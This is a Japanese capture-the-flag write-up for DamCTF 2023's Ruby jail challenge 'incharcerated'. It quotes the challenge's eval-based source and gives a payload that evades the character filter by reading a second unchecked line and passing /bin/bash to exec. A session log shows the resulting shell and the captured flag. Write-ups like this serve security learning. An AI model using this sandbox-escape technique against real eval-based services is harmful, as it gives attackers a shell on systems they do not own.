概要
2023年4月8日(土) 9:00から翌日9:00の24時間で行われたDamCTFのincharceratedという問題のWriteupです。
僕が所属するチームBegineers Secは451チーム中50位を取ることができました 🎉
incharcerated
Miscの問題です。451チーム出ていて、50チームしか解けていないのでMiscにしては割と難易度は高めだったと思われます。
ダウンロード
まずは問題を見ます。
ncで接続できるようになっていることがわかり、中で動いているコードがダウンロードできます。
#!/usr/bin/env ruby
# RUBY_VERSION == 3.2
puts <<~'HEADER'
----------------------------
|| || || ||
|| || || ||
|| ___|| ____ ||___ ||
|| / ||' `|| \ ||
||____/||______||\____||
||\ \|| ||/ /||
|| `\ || || /' ||
|| `||\ /||' ||
|| ||\ \/ /|| ||
|| || `\/' || ||
----------------------------
jailed for crimes against parentheses
HEADER
printf '>>> '
STDOUT.flush
input = readline.chomp
# cant make this too easy
class Object
def system(*)
'nice try youre not getting the flag this way'
end
def spawn(*)
'or this way either'
end
end
if input =~ /[^a-z.;=_ ]/
# be nice and print out what character failed
puts "failure builds character: #{Regexp.last_match}"
exit 1
end
eval(input)
実行してみると以下のような感じです。
┌──(ayato㉿AyatoDesktop)-[~]
└─$ nc chals.damctf.xyz 31313
----------------------------
|| || || ||
|| || || ||
|| ___|| ____ ||___ ||
|| / ||' `|| \ ||
||____/||______||\____||
||\ \|| ||/ /||
|| `\ || || /' ||
|| `||\ /||' ||
|| ||\ \/ /|| ||
|| || `\/' || ||
----------------------------
jailed for crimes against parentheses
>>>
コードが行ってること
コードはsystemとspawnをオーバーライドして使えなくしています。
そして入力を\nまで読み込み、a-z, ., ;, =, _, が以外の文字が入っていたら終了します。
それ以外であれば、evalで入力値がRubyの命令として実行されます。
解法
Rubyの文法と使える文字列から考えて、着目点としては以下の通りです。
-
=で変数に文字を代入できる -
"や'の利用はできない -
;を用いて複数の命令を1行にかける -
inputはチェックされるがそのあとにはチェックが行われない
つまり、変数に/bin/bashを代入して、execで呼び出せばいい。 ということになります。
具体的なペイロードは以下です。
a=readline.chomp;exec a
/bin/bash
このコードを実行すると、eval(a=readline.chomp;exec a)が実行されます。
そのあとに標準入力から受け取ったコマンドをexecで実行するので、/bin/bashが呼ばれます。
┌──(ayato㉿AyatoDesktop)-[~]
└─$ nc chals.damctf.xyz 31313
----------------------------
|| || || ||
|| || || ||
|| ___|| ____ ||___ ||
|| / ||' `|| \ ||
||____/||______||\____||
||\ \|| ||/ /||
|| `\ || || /' ||
|| `||\ /||' ||
|| ||\ \/ /|| ||
|| || `\/' || ||
----------------------------
jailed for crimes against parentheses
>>> a=readline.chomp;exec a
/bin/bash
ls
flag
jail.rb
cat flag
dam{the-real-rubytaco-was-the-symbols-we-found-along-the-way}
わーい。楽しい問題でした。

